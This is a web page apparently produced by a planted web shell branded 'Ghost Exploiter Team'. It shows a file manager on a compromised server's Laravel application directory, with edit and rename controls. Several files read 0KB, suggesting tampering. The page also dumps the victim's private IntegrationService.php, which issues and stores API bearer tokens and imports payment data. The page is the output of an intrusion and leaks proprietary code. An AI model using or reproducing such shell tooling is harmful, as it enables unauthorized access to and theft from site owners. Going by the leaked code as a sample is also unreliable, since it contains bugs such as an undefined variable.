Shell Bypass 403 GE-C666C

Ghost Exploiter Team Official

Directory >> /var/www/html/back/app/Services/CashFlow/

File / Folder	Size	Action
.	-
ActiveTabDayService.php	70.037KB	edt ren
ActiveTabMonthService-2...	0KB	edt ren
ActiveTabMonthService.php	74.889KB	edt ren
ActiveTabProjectService...	25.57KB	edt ren
ActiveTabProjectService...	25.57KB	edt ren
ActiveTabQuarterService...	0KB	edt ren
ActiveTabQuarterService...	77.055KB	edt ren
AppServiceProvider.php	0.787KB	edt ren
BankService-20260128155...	0KB	edt ren
BankService.php	0KB	edt ren
CashFlowService.php	0KB	edt ren
FailedValidationExcepti...	0.988KB	edt ren
FailedValidationExcepti...	0.988KB	edt ren
IntegrationService.php	3.116KB	edt ren
MessageResponse.php	1.271KB	edt ren
ResourceResponse.php	1.179KB	edt ren
ResponseDto.php	0KB	edt ren
ResponseService-2026012...	0.823KB	edt ren
ResponseService.php	0.823KB	edt ren
accounts.php	0KB	edt ren
api-20260128163259.php	0KB	edt ren
api.php	0KB	edt ren
auth-20260128133901.php	3.935KB	edt ren
auth.php	0KB	edt ren
cache.php	3.395KB	edt ren
debugbar.php	13.946KB	edt ren
integrations-2026012815...	0.694KB	edt ren
integrations.php	0.694KB	edt ren
users-20260128154927.php	0.828KB	edt ren
users-20260128171309.php	0.828KB	edt ren
users.php	0.828KB	edt ren

<?php

declare(strict_types=1);

namespace App\Services;

use App\Models\Integration;
use App\Models\System;
use App\Repositories\Integrations\Interfaces\IntegrationInterface;
use Carbon\Carbon;
use Illuminate\Support\Facades\DB;

class IntegrationService
{
    private $integrationRepository;

public function __construct(IntegrationInterface $integration)
    {
        $this->integrationRepository = $integration;
    }

public function store($modelId, $request)
    {
        try {
            DB::beginTransaction();

$dateStart = $request['date_start'] ?? null;
            $dateEnd = $request['date_end'] ?? null;

$name = $data['name'] ?? 'API Token';

$token = $this->createToken($modelId, $dateStart, $dateEnd, $name);

$integration = Integration::query()->create([
                'system_id' => $modelId,
                'name' => $request['name'],
                'configuration' => $request['configuration'],
                'compare_payments' => $request['compare_payments'],
                'currency' => $request['currency'],
                'api_key' => $token->plainTextToken,
                'date_refresh' => Carbon::now(),
                'date_start' => $dateStart,
                'date_end' => $dateEnd
            ]);
            DB::commit();

return response()->json([
                'token' => $token->plainTextToken,
                'token_type' => 'Bearer',
            ]);
        } catch (\Exception $e) {
            DB::rollBack();
            return response()->json(['error' => $e->getMessage()], 500);
        }
    }

public function update($integrationId, $request)
    {
        $integration = Integration::query()->find($integrationId);
        return $integration->update($request);
    }

public function index()
    {
        return Integration::query()->get();
    }

public function createToken($modelId, $dateStart, $dateEnd, $name)
    {
        $system = System::findOrFail($modelId);

return $system->createToken($name, ['*'], Carbon::parse($dateEnd));

}

public function addData($modelId, $data)
    {
        try {
            $dataMappings = [
                'organizations' => 'createDataInOrganizationsDb',
                'counterpartys' => 'createDataInCounterpartyDb',
                'accounts' => 'createDataInAccountDb',
                'payments' => 'createDataInPaymentsDb',
            ];

DB::transaction(function () use ($modelId, $data, $dataMappings) {
                foreach ($dataMappings as $key => $method) {
                    if (!empty($data[$key])) {
                        foreach ($data[$key] as $item) {
                            $this->integrationRepository->$method($modelId, $item);
                        }
                    }
                }
            });

$packageNumber = $data['PackageNumber'] ?? null;

return response()->json([
                'packageNumber' => $packageNumber,
                'status' => 200
            ]);

} catch (\Exception $e) {
            return response()->json(['error' => $e->getMessage()], 500);
        }
    }
}